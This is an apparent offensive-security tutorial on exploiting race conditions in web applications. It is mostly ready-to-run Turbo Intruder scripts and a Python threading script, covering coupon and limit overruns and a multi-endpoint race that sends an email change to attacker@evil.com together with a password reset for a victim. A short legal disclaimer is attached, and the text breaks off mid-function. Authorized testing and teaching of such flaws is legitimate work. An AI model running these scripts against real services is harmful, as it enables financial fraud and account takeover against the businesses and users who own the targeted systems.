Exploiting Race Condition Vulnerabilities

When to Use

• When testing applications with transaction-based functionality (payments, transfers, coupons)
• During assessment of rate-limiting or attempt-limiting mechanisms
• When testing multi-step workflows (registration, password reset, MFA)
• During bug bounty hunting for logic flaws in state-changing operations
• When evaluating applications with inventory or balance management systems

Prerequisites

• Burp Suite Professional with Turbo Intruder extension installed
• Understanding of HTTP/2 single-packet attack technique
• Python scripting ability for custom Turbo Intruder scripts
• Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
• Target application with state-changing operations (purchases, votes, transfers)
• Multiple user accounts for testing cross-user race conditions

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Race Condition Attack Surface

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

Step 2 — Configure Single-Packet Attack in Turbo Intruder

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Step 3 — Execute Limit Overrun Attack

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

Step 4 — Exploit Multi-Endpoint Race Conditions

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to attacker@evil.com
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"attacker@evil.com"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"victim@target.com"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Step 5 — Test with Python Threading Alternative

import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Create barrier to synchronize thread start
barrier = threading.Barrier(20)

def synchronized_request():

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